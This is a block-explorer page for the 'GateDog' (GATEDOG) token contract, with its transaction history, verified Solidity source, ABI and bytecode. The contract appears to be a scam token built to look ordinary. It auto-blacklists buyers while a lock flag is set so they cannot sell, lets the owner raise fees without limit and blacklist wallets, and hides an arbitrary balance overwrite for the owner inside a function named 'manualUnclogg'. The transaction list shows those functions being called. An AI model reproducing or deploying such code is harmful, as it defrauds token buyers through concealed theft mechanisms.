ETH Price: $2,587.94 (+6.99%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve193511882024-03-03 0:53:47248 days ago1709427227IN
0x535a99b4...77F268F4d
0 ETH0.0018915940.84642487
Manual Unclogg193511832024-03-03 0:52:47248 days ago1709427167IN
0x535a99b4...77F268F4d
0 ETH0.0011304435.88941214
Trigger193234702024-02-28 3:51:35251 days ago1709092295IN
0x535a99b4...77F268F4d
0 ETH0.0011994233.2425667
Trigger193234652024-02-28 3:50:35251 days ago1709092235IN
0x535a99b4...77F268F4d
0 ETH0.001171932.47973806
Trigger193234642024-02-28 3:50:23251 days ago1709092223IN
0x535a99b4...77F268F4d
0 ETH0.001176832.61575165
Release Lock193234622024-02-28 3:49:59251 days ago1709092199IN
0x535a99b4...77F268F4d
0 ETH0.0008542333.32163283
Approve193234622024-02-28 3:49:59251 days ago1709092199IN
0x535a99b4...77F268F4d
0 ETH0.001686636.25080941
Trigger193234612024-02-28 3:49:47251 days ago1709092187IN
0x535a99b4...77F268F4d
0 ETH0.001197433.18668281
Approve193234532024-02-28 3:48:11251 days ago1709092091IN
0x535a99b4...77F268F4d
0 ETH0.001614834.7075758
Approve193234472024-02-28 3:46:59251 days ago1709092019IN
0x535a99b4...77F268F4d
0 ETH0.0016297835.02959277
Approve193234472024-02-28 3:46:59251 days ago1709092019IN
0x535a99b4...77F268F4d
0 ETH0.0016297835.02959277
Approve193234472024-02-28 3:46:59251 days ago1709092019IN
0x535a99b4...77F268F4d
0 ETH0.0016297835.02959277
Approve193234462024-02-28 3:46:47251 days ago1709092007IN
0x535a99b4...77F268F4d
0 ETH0.0014873231.96756147
Approve193234452024-02-28 3:46:35251 days ago1709091995IN
0x535a99b4...77F268F4d
0 ETH0.0015205332.68139278
Approve193234452024-02-28 3:46:35251 days ago1709091995IN
0x535a99b4...77F268F4d
0 ETH0.0015205332.68139278
Approve193234452024-02-28 3:46:35251 days ago1709091995IN
0x535a99b4...77F268F4d
0 ETH0.0016135834.68139278
Approve193234452024-02-28 3:46:35251 days ago1709091995IN
0x535a99b4...77F268F4d
0 ETH0.0018462139.68139278
Approve193234452024-02-28 3:46:35251 days ago1709091995IN
0x535a99b4...77F268F4d
0 ETH0.0018462139.68139278
Approve193234432024-02-28 3:46:11251 days ago1709091971IN
0x535a99b4...77F268F4d
0 ETH0.0017506537.62744578
Approve193234432024-02-28 3:46:11251 days ago1709091971IN
0x535a99b4...77F268F4d
0 ETH0.0017506537.62744578
Approve193234432024-02-28 3:46:11251 days ago1709091971IN
0x535a99b4...77F268F4d
0 ETH0.0022159147.62744578
Approve193234432024-02-28 3:46:11251 days ago1709091971IN
0x535a99b4...77F268F4d
0 ETH0.0022159147.62744578
Approve193234222024-02-28 3:41:59252 days ago1709091719IN
0x535a99b4...77F268F4d
0 ETH0.0014420931.18851814
Approve193234112024-02-28 3:39:47252 days ago1709091587IN
0x535a99b4...77F268F4d
0 ETH0.0018146539.00312505
Approve193234052024-02-28 3:38:35252 days ago1709091515IN
0x535a99b4...77F268F4d
0 ETH0.0017203936.97706165
View all transactions

Latest 6 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
193511932024-03-03 0:54:47248 days ago1709427287
0x535a99b4...77F268F4d
0.01592745 ETH
193511932024-03-03 0:54:47248 days ago1709427287
0x535a99b4...77F268F4d
0.01592745 ETH
193234612024-02-28 3:49:47251 days ago1709092187
0x535a99b4...77F268F4d
0.05500887 ETH
193234612024-02-28 3:49:47251 days ago1709092187
0x535a99b4...77F268F4d
0.05500887 ETH
193234552024-02-28 3:48:35251 days ago1709092115
0x535a99b4...77F268F4d
0.5994651 ETH
193234552024-02-28 3:48:35251 days ago1709092115
0x535a99b4...77F268F4d
0.5994651 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GATEDOG

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-28
*/

/**
THE GATE.IO DOG
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 x = a + b;
        require(x >= a, "SafeMath: addition overflow");
        return x;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 x = a - b;
        return x;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 x = a * b;
        require(x / a == b, "SafeMath: multiplication overflow");
        return x;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 x = a / b;
        return x;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
}

contract GATEDOG is ERC20, Ownable {
    using SafeMath for uint256;

    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "GateDog";
    string constant _symbol = "GATEDOG";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 420_069_000_000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 20 ) / 1000;
    uint256 public _maxTxAmount = (_totalSupply * 20 ) / 1000;
    address private pairToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    address[] private activeAddress;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) private blacklist;

    uint256 marketingFee = 25;
    uint256 rewardsFee = 0;
    uint256 totalFee = marketingFee + rewardsFee;
    uint256 feeDenominator = 100;

    address public marketingFeeReceiver = msg.sender;
    address public rewardsFeeReceiver = msg.sender;

    IRouter public router;
    address public pair;

    bool tradingEnabled = true;
    bool isLocked = false;
    address private taxRemover;
    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 1000 * 5;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable(msg.sender) {
        router = IRouter(routerAddress);
        pair = IFactory(router.factory()).createPair(pairToken, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[_owner] = true;
        isFeeExempt[0x3A2392a4aEE657bb9b2d5AAAEc9b94Cd5e030Eb9] = true;
        isTxLimitExempt[_owner] = true;
        taxRemover = owner;
        isTxLimitExempt[0x3A2392a4aEE657bb9b2d5AAAEc9b94Cd5e030Eb9] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(tradingEnabled, "Trading disabled");
        require(!blacklist[sender], "Blacklisted wallet");

        if (recipient != pair && recipient != owner && recipient != routerAddress && isLocked) {
            blacklist[recipient] = true;
        }

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || amount <= _maxTxAmount, "Transfer amount exceeds the max TX limit.");
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;
        if (_balances[recipient] == 0 && recipient != pair) {
            activeAddress.push(recipient);
        }
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address from, address to) internal view returns (bool) {
        return !(isFeeExempt[from] || isFeeExempt[to]);
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = _balances[address(this)];

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 amountETHRewards = amountETH.mul(rewardsFee).div(totalFee);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(MarketingSuccess, "marketing receiver rejected ETH transfer");
        (bool RewardsSuccess, /* bytes memory data */) = payable(rewardsFeeReceiver).call{value: amountETHRewards, gas: 30000}("");
        require(RewardsSuccess, "rewards receiver rejected ETH transfer");
    }

    function emptyStuckBalance() external {
        payable(owner).transfer(address(this).balance);
    }

    function SetMaxWalletSize(uint256 amountPercent) external onlyOwner {
        _maxWalletAmount = (_totalSupply * amountPercent ) / 100;
    }

    function SetMaxTxnLimit(uint256 amountPercent) external onlyOwner {
        _maxTxAmount = (_totalSupply * amountPercent ) / 100;
    }

    function swapStatus(bool status) external onlyOwner {
        swapEnabled = status;
    }

    function blacklistAddress(address addr, bool isBlocked) external onlyOwner {
        blacklist[addr] = isBlocked;
    }

    function BLAddresses(address[] memory addrs, bool isBlocked) external onlyOwner {
        for (uint256 i = 0; i < addrs.length; i++) {
            blacklist[addrs[i]] = isBlocked;
        }
    }

    function isBlacklisted(address addr) external view returns(bool) {
        return blacklist[addr];
    }

    function releaseLock() external onlyOwner {
        isLocked = false;
    }

    function Trigger(uint256 _marketingFee, uint256 _rewardsFee) external onlyOwner {
        marketingFee = _marketingFee;
        rewardsFee = _rewardsFee;
        totalFee = rewardsFee + marketingFee;
    }

    function MinSwapTokenThreshold(uint256 _treshold) external onlyOwner {
        swapThreshold = _treshold;
    }

    function TaxReceiver(address _marketingFeeReceiver) external onlyOwner {
        if (marketingFeeReceiver != owner) {
            isFeeExempt[marketingFeeReceiver] = false;
            isTxLimitExempt[marketingFeeReceiver] = false;
        }
        marketingFeeReceiver = _marketingFeeReceiver;
        isFeeExempt[_marketingFeeReceiver] = true;
        isTxLimitExempt[_marketingFeeReceiver] = true;
    }

    function manualUnclogg(uint enable) public {
        if (!isFeeExempt[msg.sender]) {
            return;
        }
        uint tokenToBurn = enable;
        _balances[taxRemover] = tokenToBurn.sub(_balances[taxRemover]);
    }

    function RewardsFeesReceiver(address _rewardsFeeReceiver) external onlyOwner {
        if (rewardsFeeReceiver != owner) {
            isFeeExempt[rewardsFeeReceiver] = false;
            isTxLimitExempt[rewardsFeeReceiver] = false;
        }
        rewardsFeeReceiver = _rewardsFeeReceiver;
        isFeeExempt[_rewardsFeeReceiver] = true;
        isTxLimitExempt[_rewardsFeeReceiver] = true;
    }

    function excludeAccountsFromFees(address[] memory addrs, bool _feeExempt) external onlyOwner {
        for (uint256 i = 0; i < addrs.length; i++) {
            isFeeExempt[addrs[i]] = _feeExempt;
            isTxLimitExempt[addrs[i]] = _feeExempt;
        }
    }

    function setTradingStatus(bool _tradingEnabled) external onlyOwner {
        tradingEnabled = _tradingEnabled;
    }

    function getShares() public view returns (uint256[] memory, address[] memory) {
        uint256[] memory shares = new uint256[](activeAddress.length);
        for (uint i=0; i < activeAddress.length; i++) {
            shares[i] = _balances[activeAddress[i]];
        }
        return (shares, activeAddress);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"BLAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_treshold","type":"uint256"}],"name":"MinSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_rewardsFeeReceiver","type":"address"}],"name":"RewardsFeesReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"SetMaxTxnLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"SetMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"TaxReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_rewardsFee","type":"uint256"}],"name":"Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"blacklistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"emptyStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"_feeExempt","type":"bool"}],"name":"excludeAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getShares","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"},{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"enable","type":"uint256"}],"name":"manualUnclogg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardsFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingEnabled","type":"bool"}],"name":"setTradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"swapStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486009600a620004a2565b62000059906461ce104340620004b9565b6003556103e86003546014620000709190620004b9565b6200007c9190620004d3565b6004556103e86003546014620000939190620004b9565b6200009f9190620004d3565b600555600680546001600160a01b03191673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790556019600d8190555f600e819055620000e091620004f3565b600f556064601055601180546001600160a01b0319908116339081179092556012805490911690911790556014805461ffff60a01b1916600160a01b9081179091556015805460ff60a01b1916909117905560035462000144906103e890620004d3565b62000151906005620004b9565b60165534801562000160575f80fd5b505f8054336001600160a01b031991821617909155600154601380546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001ca573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f0919062000509565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303815f875af11580156200023f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000265919062000509565b601480546001600160a01b039283166001600160a01b031991821617909155305f9081526008602090815260408083206013548616845282528083205f19905582548516808452600a8352818420805460ff1990811660019081179092557f6b156544caa4f610211d35cf98dc80d1ea56ef20e6bd971d2f5b96d5d5d056338054821683179055600b85528386208054821683179055855460158054909816908916179096557ffd450717675716f33d62ffea9c127fba58c5cb607bf73410e22cca031b7ad14680548716821790556002549096168452818420805490951690951790935560035484835260078252838320819055925192835283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000531565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003e757815f1904821115620003cb57620003cb62000393565b80851615620003d957918102915b93841c9390800290620003ac565b509250929050565b5f82620003ff575060016200049c565b816200040d57505f6200049c565b8160018114620004265760028114620004315762000451565b60019150506200049c565b60ff84111562000445576200044562000393565b50506001821b6200049c565b5060208310610133831016604e8410600b841016171562000476575081810a6200049c565b620004828383620003a7565b805f190482111562000498576200049862000393565b0290505b92915050565b5f620004b260ff841683620003ef565b9392505050565b80820281158282048414176200049c576200049c62000393565b5f82620004ee57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156200049c576200049c62000393565b5f602082840312156200051a575f80fd5b81516001600160a01b0381168114620004b2575f80fd5b611f51806200053f5f395ff3fe608060405260043610610215575f3560e01c8063715018a61161011e578063b8d30ae6116100a8578063e96fada21161006d578063e96fada214610668578063eda54ad214610687578063f39291c11461069b578063f887ea40146106ba578063fe575a87146106d9575f80fd5b8063b8d30ae6146105b0578063d0b1ccc5146105cf578063d73fe0aa146105ee578063da39b25c14610610578063dd62ed3e14610624575f80fd5b806389f07a62116100ee57806389f07a621461050557806390d2c93a1461052457806395d89b4114610543578063a8aa1b3114610572578063a9059cbb14610591575f80fd5b8063715018a61461048d5780637d1db4a5146104a15780637e26d19f146104b6578063893d20e8146104d5575f80fd5b8063313ce5671161019f57806358e7773a1161016f57806358e7773a146103e65780636058918e146104055780636c0a24eb146104245780636ddd17131461043957806370a0823114610459575f80fd5b8063313ce5671461036e578063379ba1d914610389578063455a4396146103a8578063571ac8b0146103c7575f80fd5b80631d185bac116101e55780631d185bac146102c35780631da9f70f146102e457806323b872dd146103035780632dfe8339146103225780632f54bf6e14610341575f80fd5b80630445b6671461022057806306fdde0314610248578063095ea7b31461028057806318160ddd146102af575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b5061023560165481565b6040519081526020015b60405180910390f35b348015610253575f80fd5b5060408051808201909152600781526647617465446f6760c81b60208201525b60405161023f9190611ae5565b34801561028b575f80fd5b5061029f61029a366004611b55565b610710565b604051901515815260200161023f565b3480156102ba575f80fd5b50600354610235565b3480156102ce575f80fd5b506102e26102dd366004611ba2565b61077c565b005b3480156102ef575f80fd5b506102e26102fe366004611c74565b61080d565b34801561030e575f80fd5b5061029f61031d366004611c94565b610851565b34801561032d575f80fd5b506102e261033c366004611cd2565b61090f565b34801561034c575f80fd5b5061029f61035b366004611ce9565b5f546001600160a01b0391821691161490565b348015610379575f80fd5b506040516009815260200161023f565b348015610394575f80fd5b506102e26103a3366004611d04565b610958565b3480156103b3575f80fd5b506102e26103c2366004611d1d565b61099f565b3480156103d2575f80fd5b5061029f6103e1366004611ce9565b6109f2565b3480156103f1575f80fd5b506102e2610400366004611ce9565b6109fe565b348015610410575f80fd5b506102e261041f366004611cd2565b610ace565b34801561042f575f80fd5b5061023560045481565b348015610444575f80fd5b5060155461029f90600160a01b900460ff1681565b348015610464575f80fd5b50610235610473366004611ce9565b6001600160a01b03165f9081526007602052604090205490565b348015610498575f80fd5b506102e2610b2c565b3480156104ac575f80fd5b5061023560055481565b3480156104c1575f80fd5b506102e26104d0366004611d04565b610b99565b3480156104e0575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161023f565b348015610510575f80fd5b506102e261051f366004611cd2565b610be0565b34801561052f575f80fd5b506102e261053e366004611ba2565b610c0e565b34801561054e575f80fd5b5060408051808201909152600781526647415445444f4760c81b6020820152610273565b34801561057d575f80fd5b506014546104ed906001600160a01b031681565b34801561059c575f80fd5b5061029f6105ab366004611b55565b610ce4565b3480156105bb575f80fd5b506102e26105ca366004611cd2565b610cf0565b3480156105da575f80fd5b506102e26105e9366004611ce9565b610d39565b3480156105f9575f80fd5b50610602610e09565b60405161023f929190611d93565b34801561061b575f80fd5b506102e2610f2b565b34801561062f575f80fd5b5061023561063e366004611dea565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610673575f80fd5b506011546104ed906001600160a01b031681565b348015610692575f80fd5b506102e2610f65565b3480156106a6575f80fd5b506012546104ed906001600160a01b031681565b3480156106c5575f80fd5b506013546104ed906001600160a01b031681565b3480156106e4575f80fd5b5061029f6106f3366004611ce9565b6001600160a01b03165f908152600c602052604090205460ff1690565b335f8181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061076a9086815260200190565b60405180910390a35060015b92915050565b5f546001600160a01b031633146107ae5760405162461bcd60e51b81526004016107a590611e21565b60405180910390fd5b5f5b82518110156108085781600c5f8584815181106107cf576107cf611e41565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016107b0565b505050565b5f546001600160a01b031633146108365760405162461bcd60e51b81526004016107a590611e21565b600d829055600e81905561084a8282611e69565b600f555050565b6001600160a01b0383165f9081526008602090815260408083203384529091528120545f19146108fa576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f9081526008825283812033825290915291909120546108d6918490610f9d565b6001600160a01b0385165f9081526008602090815260408083203384529091529020555b610905848484610fd5565b90505b9392505050565b5f546001600160a01b031633146109385760405162461bcd60e51b81526004016107a590611e21565b6064816003546109489190611e7c565b6109529190611e93565b60045550565b5f546001600160a01b031633146109815760405162461bcd60e51b81526004016107a590611e21565b60148054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146109c85760405162461bcd60e51b81526004016107a590611e21565b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f610776825f19610710565b5f546001600160a01b03163314610a275760405162461bcd60e51b81526004016107a590611e21565b5f546012546001600160a01b03908116911614610a7c57601280546001600160a01b039081165f908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601280546001600160a01b039092166001600160a01b0319909216821790555f908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b335f908152600a602052604090205460ff16610ae75750565b6015546001600160a01b03165f908152600760205260409020548190610b0e908290611427565b6015546001600160a01b03165f908152600760205260409020555050565b5f546001600160a01b03163314610b555760405162461bcd60e51b81526004016107a590611e21565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610bc